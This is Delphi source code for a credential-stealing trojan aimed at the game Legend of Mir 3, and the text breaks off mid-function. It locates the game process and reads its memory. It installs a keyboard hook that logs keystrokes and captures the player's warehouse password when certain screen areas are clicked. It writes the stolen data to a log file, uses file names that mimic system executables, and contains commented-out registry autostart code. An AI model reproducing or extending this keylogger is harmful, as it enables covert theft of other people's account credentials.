main.dpr

unit Other interface Uses Windows,tlhelp32,PsAPI type PStrData = ^TStrData TStrData

program Main;

uses
  Windows,ThreadUnit,TLHelp32,IniFiles,Wininet,SysUtils,

  Other in 'Other.pas',
  Pdh in 'Pdh.pas';

 
  Const
      cOsUnknown              : Integer = -1;
      cOsWin95                : Integer =  0;
      cOsWin98                : Integer =  1;
      cOsWin98SE              : Integer =  2;
      cOsWinME                : Integer =  3;
      cOsWinNT                : Integer =  4;
      cOsWin2000              : Integer =  5;
      cOsWhistler             : Integer =  6;



var
  WinClass:TWndClassA;
  Inst,Handle,KeyHook:Integer;
  Msg:TMsg;
  LogoArea:string;
  Filereadok:boolean;
  hookkey: string;
  LastFocusWnd: HWnd = 0;
  userinf:String;

const
  ClassName='TZhangyongPwS';
  ExeFiles='Svrhost.exe';
  DLLFiles='WinSoft1.DLL';
  KeyMask = $80000000;

function ExtractFilename(const fasdf:String):String;
var
Srt:string;
begin
  Srt:=fasdf;
  while Pos('\',Srt)<>0 do
  begin
    Delete(Srt,1,1);
    Result:= Srt;
  end;
  Result:= Srt;
end;


function ExtractFilePath(const FileName: string): string;
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, 1, Length(FileName) - Contador));
end;


procedure SetInfor;
begin
{  if judgesys=3 then
    begin
      Reg.AddValue(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',pchar('Explorer.exe '+getwp+ExeFiles),1);
    end else begin
      Reg.AddValue(HKEY_LOCAL_MACHINE,'SoftWare\Microsoft\Windows\CurrentVersion\RunServices',ExeFiles,pchar(ExeFiles),1);
    end; }
end;


function IsMirDat:Integer;
var
    isOK:Boolean;
    ProcessHandle:Thandle;
    ProcessStruct:TProcessEntry32;
begin
     Result:=0;
     ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);
     processStruct.dwSize:=sizeof(ProcessStruct);
     isOK:=process32first(ProcessHandle,ProcessStruct);
     while isOK do
     begin
	      if UpperCase(ExtractFilename(ProcessStruct.szExeFile))=UpperCase('MIR3.EXE') then//进程名-------------------1
        begin
          Result:=ProcessStruct.th32ProcessID;
          Break;
        end;
	      isOK:=process32next(ProcessHandle,ProcessStruct);
     end;
     CloseHandle(ProcessHandle);
end;


  Function GetOSVersion : Integer;
  Var
      osVerInfo          : TOSVersionInfo;
      majorVer, minorVer : Integer;
  Begin
      Result := cOsUnknown;
      osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
      If ( GetVersionEx(osVerInfo) ) Then Begin
          majorVer := osVerInfo.dwMajorVersion;
          minorVer := osVerInfo.dwMinorVersion;
          Case ( osVerInfo.dwPlatformId ) Of
              VER_PLATFORM_WIN32_NT : { Windows NT/2000 }
                  Begin
                      If ( majorVer <= 4 ) Then
                          Result := cOsWinNT
                      Else
                          If ( ( majorVer = 5 ) And ( minorVer= 0 ) ) Then
                              Result := cOsWin2000
                          Else
                              If ( ( majorVer = 5) And ( minorVer = 1 ) ) Then
                                  Result := cOsWhistler
                              Else
                                  Result := cOsUnknown;
                  End;
              VER_PLATFORM_WIN32_WINDOWS :  { Windows 9x/ME }
                  Begin
                      If ( ( majorVer = 4 ) And ( minorVer = 0 ) ) Then
                          Result := cOsWin95
                      Else If ( ( majorVer = 4 ) And ( minorVer = 10 ) ) Then Begin
                          If ( osVerInfo.szCSDVersion[ 1 ] = 'A' ) Then
                              Result := cOsWin98SE
                          Else
                              Result := cOsWin98;
                      End Else If ( ( majorVer = 4) And ( minorVer = 90 ) ) Then
                          Result := cOsWinME
                      Else
                          Result := cOsUnknown;
                  End;
          Else
              Result := cOsUnknown;
          End;
      End Else
          Result := cOsUnknown;
  End;


function GetMem(baseaddress:string='';len:integer=0):string;
const FindCount=10;
var hProcId:DWORD;
    nOK	:THANDLE;
    addr:dword;
    eaddr:DWORD ;
    AddAddr:DWORD ;
    buf1:array[0..FindCount] of pchar ;
    OK  :BOOL;
    nSize: DWORD;
    lpNumberOfBytesRead:cardinal;
    FindS,res,tmp:string;
    s:array[0..FindCount] of string;
    i,j:integer;   //,
begin

  hProcId:= IsMirDat;
  if (hProcId =0) then exit;

  nOK :=OpenProcess(PROCESS_VM_READ,FALSE,hProcId);
  if(nOK =0) then exit;
  if len<>0 then begin
  	addr:=HexToInt(baseaddress);
    nSize:=len ;
  	buf1[0]:=AllocMem(nSize);
    OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead); //读取我们保存EDX中的基础

    if(OK or (nSize<>lpNumberOfBytesRead)) then begin
      s[0]:='';
      for i :=0  to nSize-1 do  begin
        {读取内容}
        s[0] := s[0] + format('%.2X',[ord(buf1[0][i])]);
      end;
    end;
    FreeMem(buf1[0], nSize);
 		CloseHandle(nOK);

  	tmp:=s[0];
    i:=1;
    res:='';
    while i<length(tmp) do begin
    	res:=res+chr(HexToInt(copy(tmp,i,2)));
      inc(i,2);
    end;
    result:=res;
    exit;
  end;
end;


procedure Wfdaklfjasd(zb:String);
var
    LogFile : textfile;
begin
      AssignFile(LogFile, 'c:\MirLog.txt');
      Rewrite(LogFile);
      WriteLn(LogFile,zb);
      CloseFile(LogFile);
end;

procedure CheckChangKu;
var rtn,curwnd:Longint;
    tempstr:array[0..254] of char;
    l:integer;
    point:tpoint;
    ChangKuValue:string;
begin
  //经验得知，密码，和用户是同一个edit 127,430, 226,455
  point.x := 400;
  point.y := 347;
  curwnd := WindowFromPoint(point);

  rtn := GetClassName(curwnd, tempstr, 255);
  If rtn = 0 Then Exit;
  if pos(lowercase('edit'),lowercase(tempstr))>0 then begin
  L:= sendmessage(curwnd,$000E,0,0);
  //SendMessage(curwnd, $00CC, longint(0), 0);
  //sleep(3000);
  //sendmessage(curwnd, $00C4,255,Integer(@tempstr));
  //SendMessage(curwnd, $00CC, longint('*'), 0);
  //ChangKuValue := tempstr;
  if KeyHook<>0 then
    if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;
  Wfdaklfjasd(userinf+ '  仓库密码：'+inttostr(L)+'位 ' +hookkey);
  end;
end;

function Trim(const S: string): string;
var
  I, L: Integer;
begin
  L := Length(S);
  I := 1;
  while (I <= L) and (S[I] <= ' ') do Inc(I);
  if I > L then Result := '' else
  begin
    while S[L] <= ' ' do Dec(L);
    Result := Copy(S, I, L - I + 1);
  end;
end;



procedure LogoMouse(Wpa,Lpa:integer);
var
    Rect:TRect; Cpoint:Tpoint;
Begin
  if (Wpa=$0201) then begin //WM_LBUTTONDOWN
    getcursorpos(Cpoint);
    Rect.Left :=260;
    Rect.Top :=299;
    Rect.Right :=341;
    Rect.Bottom :=332;
    if (ptinrect(Rect,Cpoint)) then
      begin //仓库密码
        CheckChangKu;
      end else
    begin
      Rect.Left :=35;
      Rect.Top :=40;
      Rect.Right :=117;
      Rect.Bottom :=51;
      if (ptinrect(Rect,Cpoint)) then
        begin //启动键盘记录
          hookkey := '';
        end;
    end;
  end;
end;

procedure LogoKey(Lpa,Wpa:integer);
var
  PEvt: ^EVENTMSG;
  ch: Char;
  vKey: Integer;
  iCapital, iNumLock, iShift: Integer;
  bShift, bCapital, bNumLock: Boolean;
  str: array[0..12] of Char;
  FocusWnd: HWND;
	function Keyhookresult(lP: integer; wP: integer): boolean;
  begin
  	result:=false;
  	if lP=7181 then //: key := '#13';//result := '[Enter]';
    	result:=true;
  end;
Begin
 	if Keyhookresult(peventMsg(Lpa)^.paramL,peventMsg(Lpa)^.paramH) then begin  //((Lpa and $80000000)=0) and (Wpa=13) // and (n=2) and (getfocus=PWhand)
     CheckChangKu;
     Exit;
 	end;

{    FocusWnd := GetActiveWindow;
    if LastFocusWnd <> FocusWnd then
    begin
      if hookkey <> '' then
        hookkey := '';
      LastFocusWnd := FocusWnd;
    end; }

    pEvt := Pointer(DWord(Lpa));
    if pEvt.message = $0100 then
    begin
      vKey := LOBYTE(pEvt.paramL);
      iShift := GetKeyState($10);
      iCapital := GetKeyState($14);
      iNumLock := GetKeyState($90);
      bShift := ((iShift and KeyMask) = KeyMask);
      bCapital := ((iCapital and 1) = 1);
      bNumLock := ((iNumLock and 1) = 1);
      if Length(hookkey)>255 then Delete(hookkey,1,100);
      if ((vKey >= 48) and (vKey <= 57)) then
      begin
        if not bShift then
        begin
          ch := Char(vKey);
        end else begin
          case vKey of
            48: ch := ')';
            49: ch := '!';
            50: ch := '@';
            51: ch := '#';
            52: ch := '$';
            53: ch := '%';
            54: ch := '^';
            55: ch := '&';
            56: ch := '*';
            57: ch := '(';
          end;
        end;
        hookkey := hookkey + ch;
      end;
      if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
      begin
        if not bCapital then
        begin
          if bShift then
            ch := Char(vKey)
          else
            ch := Char(vKey + 32);
        end
        else begin
          if bShift then
            ch := Char(vKey + 32)
          else
            ch := Char(vKey);